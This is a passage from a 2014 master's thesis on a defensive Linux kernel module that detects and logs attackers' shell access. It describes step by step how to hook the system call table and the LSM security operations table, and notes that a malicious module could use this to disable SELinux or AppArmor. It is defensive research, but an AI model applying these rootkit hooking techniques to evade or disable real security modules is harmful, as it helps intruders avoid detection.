Bridging the detection gap: a study on a behavior-based approach using malware techniques by Palavicini, Geancarlo
Eastern Washington University
EWU Digital Commons
EWU Masters Thesis Collection Student Research and Creative Works
2014
Bridging the detection gap: a study on a behavior-
based approach using malware techniques
Geancarlo Palavicini
Eastern Washington University
Follow this and additional works at: http://dc.ewu.edu/theses
Part of the Computer Sciences Commons
This Thesis is brought to you for free and open access by the Student Research and Creative Works at EWU Digital Commons. It has been accepted for
inclusion in EWU Masters Thesis Collection by an authorized administrator of EWU Digital Commons. For more information, please contact
jotto@ewu.edu.
Recommended Citation
Palavicini, Geancarlo, "Bridging the detection gap: a study on a behavior-based approach using malware techniques" (2014). EWU





BRIDGING THE DETECTION GAP:  
A STUDY ON A BEHAVIOR-BASED APPROACH  











In Partial Fulfillment of the Requirements 
for the Degree 
Master of Science, in Computer Science 
______________________________________________________ 
By 

















 _________________________________________ DATE_________ 
      CAROL TAYLOR, GRADUATE STUDY COMMITEE 
 
 
 _________________________________________ DATE_________ 







In presenting this thesis in partial fulfillment of the requirements for a master's 
degree at Eastern Washington University, I agree that the JFK Library shall make 
copies freely available for inspection.  I further agree that copying of this project 
in whole or in part is allowable only foe scholarly purposes.  It is understood ; 
however, that any copying or publication of this thesis for commercial purposes, 
or for financial gain, shall not be allowed without my written permission. 
 
    Signature______________________ 









  In recent years the intensity and complexity of cyber attacks have increased at a 
rapid rate.  The cost of these attacks on U.S. based companies is in the billions of dollars, 
including the loss of intellectual property and reputation.  Novel and diverse approaches 
are needed to mitigate the cost of a security breach, and bridge the gap between malware 
detection and a security breach.  This thesis focuses on the short term need to mitigate the 
impact of undetected shellcodes that cause security breaches.  The thesis's approach 
focuses on  the agents driving the attacks, capturing their actions, in order to piece 
together the attacks for forensics purposes, as well as to better understand the opponent.  
The work presented in this thesis employs models of  normal operating system behavior 
to detect access to the operating system's shell interface.  It also utilizes malware 
techniques to avoid detection and subsequent termination of the monitoring system , as 
well as dynamic shellcode execution methodologies in the testing of the thesis' modules 
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1. Introduction  
 
 Summer of 2009 witnessed the largest cyber espionage campaign against U.S. 
based companies to date.  It is now known as Operation Aurora Attacks.  A small 
software development company called Solid Oak was among those U.S. based companies 
caught in the wave of attacks.  Their flagship product,  a web filtering application called 
CyberSitter, was at the epicenter of a copy right infringement battle.  The company 
claimed the Chinese  government had stolen the source code for CyberSitter to 
implement a national web censoring service.  Curious of the claim made by Solid Oak, 
University of Michigan researchers examined the code, and confirmed the company’s 
claim.[32]  They discovered an upgrade announcement comment for CyberSitter  
accidentally left in the censorship service’s code. 
 
 Soon after the University of Michigan researcher's findings, Solid Oak began a 
civil lawsuit.  Within less than 2 weeks of accusations, strange things began happening on 
Solid Oaks networks and services.  For the next 3 years the company is under intense 
cyber attacks.  Product orders begin to fail, servers reboot on their own, support websites 
become unavailable.  In short, it brings the company to the brink of bankruptcy. Tired of 
fighting and short on cash, the company settles out of court,  and two months later the 





 On Feb. 2012, a security firm based out of Washington DC by the name of 
Mandilant, released a report on the suspected perpetrators of Operation Aurora.  It 
claimed the operation was undertaken by 50 to 100 hackers, trained on network breaches 
and information stealing.  The report provides details on the level of organization, skill, 
and methodology used by this group of hackers.[22]  It also alleges that it’s a state run 
military unit, based out of China.  On Sept. 2013, Symantec Corp. released a report 
confirming Mandilant’s findings, short of pointing fingers to any nation.[9]   
 
 In short, U.S. based companies are losing billions of dollars due to cyber attacks.  
In the case of Solid Oak, legal fees where in the 100's of thousands of dollars.  They lost 
sales, wages, clients and future clients, plus 56 million unlicensed copies of their software 
were released, representing a loss of $39.95 per copy.  
 
1.1 Detection Problem 
 
 Breaches like the one experienced by Solid Oak are possible due to the attackers' 
tools ability to avoid detection.  There are varying degrees of success and failure rates 
reported by the research community when it comes to malware detection.  Some report as 
low as 55% detection rates for single detectors, others point to a 62%-87% detection rate, 




 Bishop et al. [5] claimed 99.999% detection of malware variants not previously 
seen, however their study used 26 detectors in unison to achieve that rates.  Their tests of 
various detection products also showed a minimum detection rate of 55% for any single 
detector.   Their study concluded that 8 detectors are the sweet spot in terms of diversity 
and detection gained.  Given the performance costs associated with detection products, 
suggesting the purchase and simultaneous execution of 8 to 26 different detection 
products is not a viable solution. 
 
 Cheng et al. [8] achieve an overall 62-87% detection rate.  Their higher rate of 
87% was in detection of metamorphic shellcode using virtualization to emulate the actual 
execution of the malware payload.  Metamorphism refers to changing the code 
syntactically but maintaining the semantics of the code.  Malware polymorphism is a 
technique used to disguise code by obfuscation and masking.  The two approaches used 
are: Metaphorphism and Self-ciphering.   Self-deciphering refers to the use of 
encoding/decoding routines to mask the presence of the malware.  It is achieved by 
several rounds of encoding and using different keys.  In order to ―decode‖ the payload, a 
clear-text routine must exist to undo the ciphering. 
 
 Shellcode is low level code, usually translated into hexadecimal format, that tricks 
a vulnerable program into executing the user supplied input as program instructions 
rather than data.  It has become synonymous with the payload portion of a malware 
sample.[2]  The most common payload used in shellcode is some sort of root shell, where 
the purpose is to gain root level access to the remote computer.  The Linux Operating 
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System provides two interfaces for the user to interact with the Operating System.  They 
are a graphical user interface and a text-based user interface.  The text-based user 
interface to the Operating System is called the shell.  Users can access the shell locally, 
and remotely, this is covered in further detail in section 3.1.  A bind shell is a shell 
process that waits for a remote connection on a predetermined port.  Upon remote user 
connection to the predetermined port, the remote user is granted access to the shell.  In 
contrast a reverse shell does not wait for a connection request, but rather opens a 
connection to a remote computer on a predetermined address/port combination.  The 
remote computer waits for a callback on the predetermined address/port combination to 
establish a connection.  Upon reception of the callback, remote access to the shell is 
granted. 
 
 Cheng et al.'s [8] results also showed that reverse shell and bind shell encoded 
shellcode evaded detection altogether.  Even with the aid of emulation anywhere from 13-
38% of shellcode goes undetected.  The work presented in this thesis focuses on the same 
reverse and bind shell encoded shellcodes for testing.  Continued efforts will make 
detection better.  Yet, with improved detection, evasion also evolves.  This leaves the 
systems unprotected until the detection catches up.  A need to mitigate these types of 
attacks will continue to be needed due to this relationship between detection and evasion. 
 
 The major approaches to defending the system against breaches caused by 
malware are misuse-based and anomaly-based malware detection.  They both focus on 
modeling behavior to detect the attack and protect the system.   The models are generally 
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based on system call sequencing, API calls, execution tracing, runtime instruction 
sequencing, heuristics, among others, applied either to malware or the 'normal' 
system/application.  
 
 Misuse-based approaches focus on modeling malware behavior to extract patterns 
for detection.  Anomaly-based approaches focus on modeling of normal system or 
application behavior, and using those models to detect any process that deviates from the 
observed model in hopes of detecting an attack. 
 
  Rieck et al. [30] focused on helping detectors catch up to new attacks.  They 
proposed automatic processing of extracted malware behavior to dynamically update the 
malware detectors.  They conclude that their method can correctly detect 70% of malware 
missed by anti-malware solutions.  This still leaves 30% of undetected malware, and 
shows that improvements in malware detection still do not eliminate the need to mitigate 
detection failures. 
 
 Signature based approaches rely on inspecting the malware binaries for strings 
that can be used to identify the malware samples.  Countless studies have warned that 
signature based malware detection methods, both in the host and the network, are no 
longer viable solutions to the malware threats that we are facing today. [36][15] 
[21][34][13]  Most research report between a 62-87% detection rate, and this percentage 
includes the various attempts to improve the malware detectors. Although malware 
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detection is crucial and must continue to be researched, this thesis' focus is on attempting 
to mitigate the percentage of undetectable malware that will execute its payload on the 
systems it infects. 
 
 New and diverse approaches are needed to mitigate the new school of attacks, in 
the long run.  In the short run, lessening the impact of security breaches is critical.  The 
work presented in this thesis focuses on the short term, mitigating the impact of a security 
breach.  A security breach is when an unauthorized user gains access to a computer 
system.  When a breach takes place, figuring out which systems are compromised and 
which data has been stolen is a difficult task.    With the observed limitations of current 
malware detection to protect against security breaches, a different approach was needed 
to lessen the impact of these types of attacks.  Several questions were posed; 
 
 1. Can mitigating the detection gap be achieved without focusing on improving 
malware detection? 
 2.  Given the current approaches, can we use a behavior-based approach to 
mitigate this malware detection gap? 
 
 In terms of breach mitigation, two concepts were posed.  The first was the idea of 
an airplane blackbox. When an accident takes place, the investigators can examine the 
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plane's blackbox to aid them in rebuilding the incident.  They can look at the airplane 
data, all gauge information, and the pilot's actions. 
 
 Most of the detection research focuses on the airplane, looking at the malicious 
processes' heuristics, API calls and system call invocations, etc.  The focus is on the 
malware processes to understand and detect the attacks.  There’s a lack of research on the 
pilots, the agents driving the attacks.  This thesis' proposed approach focuses on the 
actors of the attacks, capturing their actions, in order to piece together the attacks for 
forensics purposes, and to better understand the opponent. 
 
 The second thought was that there should be no limitations on the methods or 
tools used to defend the system.  Rootkits are used by malware writers to conceal their 
activities in the infected computers.  Experiments with rootkit methodologies and 
malware techniques are employed to track the attacker and  avoid termination of the 
monitoring solution.  One cannot disable a defensive tool whose presence is unknown or 
concealed.  This the classic rootkit methodology with a defensive twist.  
 
 Additionally, malware writers are beginning to mimic models of "normal" 
behavior to defeat anomaly-based detection approaches [43][24], thus the gap between 
malware detection and a security breach  is one that must be address independently from 
the various malware detection efforts.  Meaning that malware detection needs to continue 
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to be researched and improved, but that it is evident that malware detection alone cannot 
satisfy the security requirements we need today.  And that we will more likely than not 
always have malware that cannot be detected, nor stopped. Given this possibility, another 




1.2 Thesis Goal 
 Desktop Operating Systems like Linux and Windows are divided in two modes of 
execution.  They are user-mode or user-space, and kernel-mode or kernel-space.  Kernel-
space refers to the Operating System itself, the scheduling, memory management, direct 
access to hardware, etc.  User-space refers to anything outside of the kernel.  Application 
programs written in java or C# are user-space programs, they accomplish a task, but they 
do not alter the Operating System  itself.  Device drivers are examples of kernel-space 
modules, as they extend the functionality of the Operating System by allow it to 
communicate with a physical device. 
 
 The goal of this thesis is to investigate if the gap between what is detected and 
what exploits a victim's Operating System could be bridged, without focusing on 
improving malware detection.  Rather the focus is on how the Operating System works, 




 The first part of this question is how to bridge the gap between malware detection 
and breach without focusing on improving malware detection. To this end, a kernel-
space module was built based on normal system behavior to detect access to any of the 
system provided shells.  Examples of system provided shells are the Bourne Again Shell 
(bash) and C shell (csh) programs.  A kernel module is program that can be used to 
extend the functionality of the Operating Systems without the need to reboot the system, 
in depth coverage of the  is covered in section 3.1.  Standard test procedures were 
developed to test the thesis' module.  These access verification procedures are covered in 
detail in Section 4.  They included eleven binaries injected with malicious code 
previously known to evade detection, as well as standard access procedures to verify 
functionality against normal system behavior.   
 
 The second part of the research question is can normal system behavior models be 
used to create a breach mitigation solution (to bridge the gap).  To this end, a user-space 
logging facility was developed, modeled after normal access to the system provided 
shells, from a local and remote access perspective.  These normal system behavior 
models make use of pseudoterminals that rely on the Teletype layer (TTY layer) to access 
the operating system's shell interface. The TTY layer is used by pseudoterminals to 
process input received from the user.  Pseudoterminals are virtual devices that provide 
Inter Process Communication (IPC) channels for programs like bash or csh.  We will 
discuss pseudoterminals  and the TTY layer in greater depth in Section 3.  A standard test 
was developed to test the logging facility's ability to capture input to the shells.  Using the 
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Access Verification Procedures, eleven exploits were used during testing.  The access 
verification procedures also include normal behavior tests to verify the solution's 
functionality against normal behavior. 
 
 The work presented in this thesis assumes that the malware detection mechanisms 
in place have failed, and that efforts to improve the detection mechanisms cannot fully 
account for all of the attacks on the system.  It also assumes that malware can and does 
mimic normal system behavior. 
 
 The remainder of this thesis is organized as follows: Section 2 presents the 
Literature Review of recent work done in the area of malware detection and evasion.  
Section 3 details the Implementation along with technical background, followed by 
Experiment Procedure and Results in Section 4 and 5.  Section 6 discusses Future Work, 
and Section 7 concludes the work presented by this thesis.  Lastly the  References used 




2. Literature Review 
 
 Significant effort has gone into malware detection as a means to protect computer 
system.  The approaches vary from using static and dynamic analysis of malware, used to 
extract accurate and reliable information on the execution of malware [44][29][16][[30], 
to the use of normal system behavior.[14][24][4] 
 
 Jafarian et al. [14] uses system call sequences and the program counter to model 
program behavior.  They use the program counter to determine the originating point of 
the system call from the program being modeled.  They use this technique to model 
programs whose source code is not available for inspection.  They store this information 
in a state machine, specifically a Deterministic Push Down Automaton.  They detect 
anomalies, thus potential intrusions, using the learnt program behavior and the frequency 
of visits to each transition state observed during the training phase.  The ptrace system 
call is relied upon to capture system call information in user-space.  Jafarian et al. [14] 
prefer to use user-space programs to trace calls as opposed to modifying the kernel to 
acquire this information for security reasons.  They reason that altering the kernel or 
implementing their solution in kernel-space diminishes the overall security of the system.  
 
 The work presented in this thesis also relies on the ptrace system call to track 
suspicious processes' system calls, as well as to keep the monitoring portion of the 
solution in user-space.  Security concern over potentially introducing multiple 
vulnerabilities at the kernel level require the implementation of the monitor in user-space.  
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This thesis also utilizes system calls to extract program behavior, however inspection of 
the source code is relied upon as well, given that the Linux source is available.      
 
 Bernaschi et al. [4] implements kernel level system call monitoring to restrict 
access to certain system calls deemed "dangerous".  Its focus is to prevent both stack and 
heap overflow attacks.  It is implemented as a kernel patch and adds extensions to some 
system utilities to produce safer versions.  Their modifications do not alter kernel data 
structures or algorithms, thus it is transparent to the programs making the system calls.  
Bernaschi et al. [4] rely on a subset of system calls and their arguments to create an 
Access Control Database(ACD).  They analyze program behavior by source code 
inspection and the results of the strace program to define the set of system calls, files and 
directories to include in their ACD.   
 
 Strace intercepts and records the system call invocations, along with arguments 
and return values, made by a process being tracked by the program.  The ACD contains 
the name of processes and programs that are allowed to use certain system calls.  Any 
program attempting to use the system calls not in  the list is denied access to the system 
call and logged for auditing. 
 
 A portion of the work presented in this thesis is implemented in the kernel, as a 
loadable kernel module.  A loadable kernel module is a kernel-space program that can be 
loaded into the Operating System without the need to reboot the computer.  The 
functionality that the module provides can be accessed as soon as the module is loaded.  
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This enables the use of the module's functionality without a system reboot, and does not 
require access to the kernel source code to integrate into the operating system.  It utilizes 
a subset of system calls and their arguments, along with "hooking" of the Linux Security 
Module (LSM) framework, due to the performance cost of system call monitoring.  A 
hook is a point in the one of the many system's message-handling mechanisms where a 
module can redirect the flow of execution with the intent to process or inspect the traffic 
before or after it reaches the intended routine.  Hooking is the process of redirecting the 
flow of execution into secondary code and way from the intended routine.  Section 3 
elaborates on Linux Security Modules framework and the different hooking techniques 
employed by this thesis.   
 
 
 In order to derive the behavior of terminal oriented programs that access the shell 
interface, inspection of the Linux kernel 3.2 source code is employed.  Programs like 
bash and csh are terminal oriented programs, as they were designed to be accessed by 
terminal devices.  These were physical devices that provided input and output capabilities 
through serial connections.   The strace program is relied on to create a subset of system 
calls to monitor, given the performance costs of monitoring system calls. The logging 
facility used by Bernaschi et al. [4] records blocked attempts to access the monitored 
system calls.  In contrast, the work presented in this thesis attempts to logs all input 
delivered to the shell process. 
 
 Similar efforts based on system call monitoring for malware detection remark on 
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the need to minimize the number of system calls monitored due to the performance 
degradation of monitoring a large number of events.[24][4]  Recent studies on malware 
have also shown that malware has developed the ability to terminate defensive 
solutions.[8][21][13][34][16]  
 
 This trend has been partly attributed to the defensive solution running in the same 
environment that it aims to monitor.[16]  Researchers have suggested moving the 
defensive solution outside of the monitored system to prevent termination.[16]  The 
obstacle with moving the defensive solution outside of the host lies in the loss of context 
due to the different views of the objects from the detector's view and that of the Operating 
System.  This loss is referred to as the "semantic gap" problem.   
 
 Jiang et al. [16] address the semantic gap problem with an "out-of-box" Virtual 
Machine monitoring system called VMWatcher.  They classify their solution as "non-
intrusive" as it does not affect the system state of the target VM. They implement disk 
watching, memory monitoring, and system call reconstruction of a guest OS on top of 
several different Virtual Machine Monitors (VMMs).  Part of what they do to deal with 
the semantic gap is to reconstruct the system call context of the guest OS.  They use the 
reconstructed system call context for detection as well as monitoring.  It captures and 
logs all system calls invoked during an attack.   
 
 Jiang et al.'s [16] logging facility is similar to the one presented in this thesis.  
VMWatcher's log captures all the binaries executed by malware and the post exploit 
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activity by the attacker through logging the parameters in the execve system calls made 
by the attacker's interactive shell.  In contrast, the logging facility presented by this thesis 
attempts to capture all of the attacker's input received by the interactive shell process.  It's 
a small but important difference for forensics purposes.  It enables a fuller context of the 
attacker's actions through the shell interface. If an attacker used the shell as a 
programming environment, simply grabbing what executed does not provide the script 
that was typed in the terminal.   
 
 Jiang et al. [16] implement their solution as a means to monitor virtual machines, 
the work presented in this thesis is implemented as a means to monitor the host itself.  
One of Jiang et al.'s[16] then reasonable assumptions was that malware cannot escape the 
VM, unfortunately that has been shown to be false.[10][29]  As such, monitoring of the 
host continues to be needed. 
 
 Hsu et al. [13]use malware techniques to detect specific API calls used by 
malicious programs.  They establish 8 different techniques used by malware in the wild to 
terminate anti-virus software.  They build a solution to detect the API calls made by the 
use of each of these techniques.  They hook the API calls at the System Service Dispatch 
Table (SSDT) to point to their own Dynamic Link Library (DLL).   
 
 The SSDT is a Windows kernel data structure that stores pointers to system 
services, which are native functions in the Windows OS that are callable from user 
mode[6].  It is similar to the system call table in Linux. A hook is a point in the one of the 
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many system's message-handling mechanisms where a module can redirect the flow of 
execution with the intent to process or inspect the traffic before or after it reaches the 
intended routine. 
 
 Hsu et al. [13] implement modified versions of the native calls in their injected 
DLL.  Using the hooks, they execute their code first, filter out any normal calls, and 
block any malicious ones.  Any normal calls are routed back to the original API, any 
malicious ones are stopped reporting that an access violation has occurred.  This 
technique is used by Windows rootkits in the wild to hide malicious activity.[31]    
 
 The work presented here also makes use of malware techniques applied to a 
defense solution to mitigate a system breach.  Kernel level code is implemented to hook 
into some of the Operating System's API and system call facilities.  The first difference is 
that Hsu et al.'s [13] approach models malware behavior to extract the detection 
techniques. The work presented in this thesis does not use models of malware behavior, 
nor any analysis of the malware used in the test, prior to executing them against the proof 
of concept code.  The other difference is that it is applied to a Linux environment, while 
Hsu et al.'s [13] work was based on the Windows architecture.  As such, the hooking 
techniques and hook sites within the Operating System differ in the two approaches.  
 
 Both misuse-based and anomaly-based approaches are used in the detection of 
malware, each having their shortcomings and evasion techniques.[14][16][8]  Anomaly-
based approaches have a high false-positive rate and are vulnerable to mimicry attacks.  
17 
 
Mimicry attacks refer to malware whose behavior can impersonate 'normal' behavior, 
such as  imitating the system call sequence of legitimate programs.[43][24]    
 
 Misuse-based approaches simply patch the latest threat.  The moment a new 
technique arises, detection is foiled.  It encourages the improvement of malware 
techniques and leads to a never ending chase for the latest technique.  It also imposes the 
task of attempting to model malware behavior which is not only too widely spread to be 
modeled effectively, but also exhibits 'normal' behavior.[36] 
 
    The detection of new malware is becoming increasingly difficult, seemingly a never 
ending task.  The literature as a whole suggests that we have placed too much emphasis 
on malware detection alone.  It suggests that our current defensive approach will always 
keep us a few steps behind the attackers.   
 
 Instead of trying to come up with detection mechanisms for ever changing 
malware, we need to look into alternate ways to mitigate the detection gap.  Recent 
studies suggest that an anomaly-based approach is a better way moving forward. [21][36]  
Despite the problems faced by this approach, the work presented in this thesis makes use 





 Three major modules were developed for this thesis.  The first was a loadable 
kernel module mainly responsible for capturing the process identification (PID) of any 
process accessing the system's shell interface for further inspection.  It accomplishes this 
task by hooking the system call table, and redirecting the Linux Security Modules 
framework's hooks to inspect system calls and system call parameters.  The process ID of 
captured processes are transferred to the user-space management module. 
 
 The user-space management module is the second of the three major modules 
developed.  It is the glue between the kernel module and the user-space monitoring 
facility.  It is responsible for loading the kernel module, locating the system call table for 
use by the module, processing of the suspect PIDs, and directing the logging facilities 
through the spawning of the monitoring facilities processes.  
 
  The last of the major modules developed for this thesis is the monitoring facility.  
It is the user-space program responsible for inspecting the input from the identified 
processes. Input supplied to pseudoterminals is processed in the kernel by the line 
discipline routines in the TTY layer.  The line discipline provides the ability to edit line 
input, send signals, among other filtering of input received by the processes attached to 
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the pseudoterminal device.  A keylogger captures and records keys pressed by a user.  The 
monitoring facility implements a user-space line discipline and keylogging functionality 
for proper processing of shell input and recording of the input.  It accomplishes the 
monitoring by attaching to  processes identified by the kernel module, and records any 
user input delivered to the system's shell interface.  The implementation overview of 
these three major modules is shown in figure 3.1. 
 
 





3.1 Implementing the Kernel Module 
 
 A kernel module is a kernel-space program that can be used to extend the 
functionality of the kernel without the need to reboot the system.  Modules that 
communicate directly with hardware are special modules called drivers.  Kernel modules 
are not required to have this capability.  The module referenced in this work only extends 
the functionality of the kernel (i.e. it's not a device driver).  Modules are also not required 
to communicate with user-space programs, but those that do have several OS provided 
interfaces to accomplish this interaction.  A kernel modules has the ability to view the 
system from the kernel's perspective, this allows the module to interact with any process 
within the Operating System. 
 
 In order to identify processes accessing the system's shells, the kernel module 
makes use of the system call facility and the Linux Security Modules Framework.  A 
system call is the kernel's mechanism of receiving requests for some sort of service from 
user-space.  It's the user-space interface to kernel-space functions.  In order to fulfill the 
requested service, the kernel locates the necessary function from the system call table.  
The system call table is a kernel data structure that maintains mappings between the 





Figure 3.2.: System Call Table Unhooked & Hooked 
 
 Modifying the system call table allows us to redirect the flow of the request into 
secondary code.  A process known as "hooking" the system call table.  The kernel module 
hooks the open system call, in order to inspect its parameters, depicted in Figure 3.2.  It 
detects the opening of the pseudoterminal multiplexer device by any process. The 
pseudoterminal multiplexer device (ptmx) dynamically creates pseudoterminal pairs, for 
processes that require a terminal emulator.   
  
 Terminal emulator programs are used to interact with the shell, which is the 
interface between the user and the kernel.  Originally users connected to Unix based 
systems through serial devices called terminals.  These were actual physical devices.  
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Currently, graphical interfaces connected to window management systems like X Server 
provide users with this functionality.  Programs like gnome-terminal, xterm, or ssh 
provide users connection to the operating system through the terminal interface or shell 
interface.  These types of programs are called terminal emulator programs, as they mimic 
the behavior of serial terminals through the use of pseudoterminals.  A pseudoterminal is 
a virtual device that provides Inter Process Communication.  It is somewhat like a  
bidirectional pipe, but more involved due to the functionality provided by the line 
discipline.  The line discipline is discussed in more detail in Section 3.3.  A 
pseudoterminal encapsulates a pair of connected virtual devices a master and slave.[18]  
Terminal emulator programs (driver program in image) rely on pseudoterminals for Inter 
Process Communication, depicted in Figure 3.3.  
 




 Accessing the system's shell interface allows us to interact directly with the 
Operating system.  Terminal emulator based programs like Secure Shell (ssh) enable us to 
connect to the system's shell interface remotely, shown in Figure 3.4.  Attackers also use 
this capability to gain remote access to compromised systems.  In order to detect 
processes that provide this functionality, the kernel module detects access to the ptmx 
device.  The other technique used by the kernel module relies on the Linux Security 





Figure 3.4.: SSH Access to Shell 
 
 The Linux Security Modules Framework (from hence forth LSM) is a framework 
that provides general support for security modules in Linux.  The Linux O.S. utilizes a 
discretionary access control model, meaning that a user can give access to their files at 
their discretion. The LSM's framework main use is in providing improved access control 
modules.  For example it can be used to change the access control to a centralized model 
instead of discretionary.  Commonly known security modules that make use of the LSM 
API include SELinux (used by Fedora, Red Hat, CentOs) and AppArmor (used by 
OpenSUSE, Ubuntu, among others).[23]  The framework adds security fields to kernel 
data structures, like struct task_struct and struct linux_binprm.  It also inserts calls to 
hook functions at critical points in the kernel code[5].  A hook is a point in the one of the 
many system's message-handling mechanisms where a module can redirect the flow of 
execution with the intent to process or inspect the traffic before or after it reaches the 
intended routine.  The hooks rely on a global security operations table defined as struct 
security_ops in /include/linux/security.   The security_ops table is a structure with a large 
number of function pointers, each function pointer in this global table is an LSM module 
hook.  They are organized into logical sets based on kernel objects (sockets, files, etc).   
 
 The framework makes provision for stacking security modules, however only one 
LSM module can be compiled into the kernel.  Extending the framework's support for 
stacking additional modules is left up to the individual modules[35].  It is worth 
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restating that LSM modules require compilation into the kernel, which means that any of 
the LSM's exported symbols are made available by the kernel.  In order for the hooks to 
callback the appropriate LSM module's functions, the security_ops global table must also 
be exported by the kernel.   This fact enables the use of the exported symbols to locate the 
different data structures involved in its operations.   
 
 The method of redirecting API functions from their intended library into 
secondary code is known as API hooking.  The general idea involves identifying and 
locating the appropriate kernel data structure, saving an existing entry from the table, 
swapping in a new address to replace the existing entry, and restoring the original entry 
prior to unloading any of the hooked functions.  API hooking is employed to successfully 
redirect calls to the LSM module into functions within the thesis' kernel module.  Some 
examples of API hooking used for defensive purposes are the security kernel patch 
grsecurity and loadable kernel module tpe-lkm.   
 
 The grsecurity patch is a port of the Openwall project which focuses on security 
enhancements.  It is maintained by Brad Spender, and is implemented as a kernel patch, 
not an LSM module.  It adds features like PaX, ASLR, Trusted Path Execution (TPE), 
among other features.[39]  PaX marks regions of memory as non-executable or non-
writable, in order to prevent injected code execution attacks.  ASLR randomizes the base 
address of executables, libraries, and other process data structures in order to make buffer 
overflow attacks more difficult.  Of special interest to the work presented by this thesis is 
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the Trusted Path Execution feature in grsecurity.  It prevents users from executing their 
own binaries.  It does this by denying users added to the "untrusted" group of users from 
executing any binary that is not in a root-owned directory, whose write permission is only 
held by the root user[7].   
 
 This technique was also used by Corey Henderson in his security kernel module 
TPE-LKM (Trusted Path Execution-Loadable Kernel Module) to inspect the parameters 
of the execve system call.[11]  Henderson makes use of many of the Linux Security 
Modules Framework hooks to expand the Trusted Path Execution feature of the 
grsecurity patch.  He implements his security tool as a kernel module.  A similar API 
Hooking technique is used in this thesis to inspect the parameters of execve system calls 
as the one used by grsecurity and tpe-lkm,  however the implementation in this thesis uses 
the technique to detect the execution of shells, whereas the other two project's emphasis 
is on stopping the execution of certain binaries.   
 
 The operation of executing binaries for user-space programs is the responsibility 
of the execve system call.  In the process of accomplishing its mission, it makes use of 
many of the hooks in the security_ops table.  It relies on the 'binary parameters' structure 
(struct linux_binprm) to match the format of the binary received to the correct binary 
handler for execution. From our discussion on the LSM framework above, this is one of 
the kernel data structures modified to include additional security fields. The binprm struct 
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encapsulates all the information that a binary handler requires to execute a program: it's 
name, type, virtual memory information, credentials and capabilities, etc. 
 
 Once a program requests the execution of a binary via the system call facility, 
do_execve() is called, which calls do_common_execve().  do_common_execve() causes 
several of the hooks in the security operations table to activate the LSM module's 
callback functions, as it prepares the binprm structure, opens the necessary files, and 
requests the scheduling of the task. 
 
            The last thing the execve system call does is to search for the appropriate binary 
handler, and passes it the binprm structure to execute the file via the selected handler.  
This takes place via a call to search_binary_handler(), which makes a call to 
security_bprm_check(), causing a hook to the LSM module's registered callback function 
bprm_check_security() to execute.  The flow of execution by the exec system call is 
depicted in Figure 3.3.  Collectively, the flow of execution through the execve system call 






Figure 3.5.: Linux Security Module Framework Unhooked 
 
 The bprm_check_security() callback function is redirected in order to inspect the 
parameters received by the execve system call, and detect the execution of any shell 
within the monitored system.      
 
 LSM "hooking" steps in the module:  
 1.  Locate the security operations structure by searching through the exported  
 kernel's symbols table. 




 3. Store the original address of the bprm_security_check() callback function from  
 the security operations table. 
 
 4.   Replace the address of the bprm_security_check() callback function to the  
 kernel  module's version of the function in my kernel module.  
 
 5. Using the redirected version of bprm_secutiry_check(), inspects the filename 
 parameter against a list of shells and records the PID (Process Identification) of 
 the process invoking the execution of a shell in a circular buffer within the kernel 
 module. A visual representation of these steps is shown in figure 3.4. 
 
 
Figure 3.6.: Linux Security Module Framework Hooked 
 
 The module maintains a copy of the PID until it receives a signal from the pilot 
process requesting transfer of any newly-stored PID. Upon request, the kernel module 




 It's worth mentioning that this same technique could be used to disable any 
security module using the LSM framework's API, and represents a single point of failure 
for the LSM framework[12][40][42].  A malicious kernel module could simply redirect 
the pointer to the security operations table, and not just a single function as I is done by 
this thesis' kernel module, and disable the entire LSM security module in the process.  In 
summary, the kernel module utilizes API hooking of the LSM callback hooks to redirect 
bprm_security_check() for inspecting the execve parameters in order to detect the 
execution of shells by any process. 
 
 The use of API hooking of the LSM framework's hooks was necessary to inspect 
the parameters in the execve system call.  The system call table hook used to inspect the 
parameters of the open system call could not be used to inspect the parameters of the 
execve system call.  In order to redirect the open system call, the system call table hook 
instructs the compiler to pass the parameters of the redirected system call on the stack 
instead of through the general purpose registers.  The execve call stack expects to receive 
its parameters directly from the registers.  Due to this constraint, the system call table 





3.2 Implementing the Management Service 
 
 The management service is implemented in the kernel module.  It is intended to 
operate in conjunction with the user-space management module.  Together they enable 
the transfer of data between the kernel module and the user-space monitoring facility.  
There are several interfaces for transferring data to and from kernel modules to user-
space programs provided by the kernel.  Kernel modules use these mechanisms to interact 
with user-space programs and vice versa.   These methods include the different virtual 
file systems (proc, debugfs, configfs, sysfs), signals, memory mappings, and system calls. 
A virtual file system is one that does not exist on disk, but rather it is maintained in RAM 
by the kernel.   
 
 Sysfs  is one of these virtual file systems.  It was created to solve the power 
management problem of shutting down devices in the correct order, but it proved to be an 
excellent way to provide user-space programs a better interface to the kernel objects, their 
hierarchy, and relationships from the kernel's perspective.   In order to use sysfs for data 
transfer, the module must export the desired parameters or subsystems to the kernel.  The 
kernel in turn will include the module's objects as part of the sysfs directory hierarchy it 
creates.  A user-space program can then access the module's handles provided through 
sysfs to communicate with the module.  sysfs is meant to replace the use of proc VFS for 




 The proc file system is another one of these virtual file systems.  It's intended use 
was for accessing process information, but it developed into a location for all sorts of 
kernel object interactions.  In order to use this mechanism, the kernel module must create 
entries into this virtual file system, and provide functions to carry out the requests from 
user-space.  For the user-space program, it requires a handle to the procfs file created by 
the module. 
 
 Another way to interact with modules is through the use of devices.  In Linux 
makes use of types of devices, block devices and character devices.  Devices allowing 
random access to blocks of data, like disks, are represented by block devices.  Character 
devices are used to represent all other non-random access devices like mice, keyboards, 
modems, terminals, etc.  A kernel module can create a virtual device, like a character 
device, to provide a user-space program a communication interface.  Depending on the 
functions included in the module, a user process can request data by reading from the 
device, and send data to the module by writing to the device. 
 
 Another use of devices for interacting with modules is through the use of Input 
Output Control (IOCTL) system call.  IOCTL is used to send control information to 
modules, for example to set the different flow rates for hardware devices.  This 
mechanism can be used to signal a module to perform an assortment of actions.  A 
module must provide the ioctl methods to handle the requests, and create the necessary 
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devices similar to the previous approach.  The difference between the two approaches are 
the system calls used by the user-space program to access the module provided handles. 
 
 A system call is the kernel's mechanism of receiving requests for some sort of 
service from user-space.  It's the user-space interface to kernel-space functions.  One way 
to implement communication between a kernel module and a user-space program is 
through the creation of a custom system call.  In order to use this mechanism, a module 
writer must modify the kernel source, and recompile the kernel.  A much less invasive 
approach is the use of signals. 
 
 A signal is an alerting mechanism used to deliver notification of events to 
processes.  A kernel module can rely on real-time signals to deliver data to a user-space 
program.  A real-time signal is different from a standard signal in that it can carry up to 
32-bits of data, and the user-space process handles each signal in order.  Standard signals 
do not receive this queuing treatment.  In order to use this approach, the user-space 
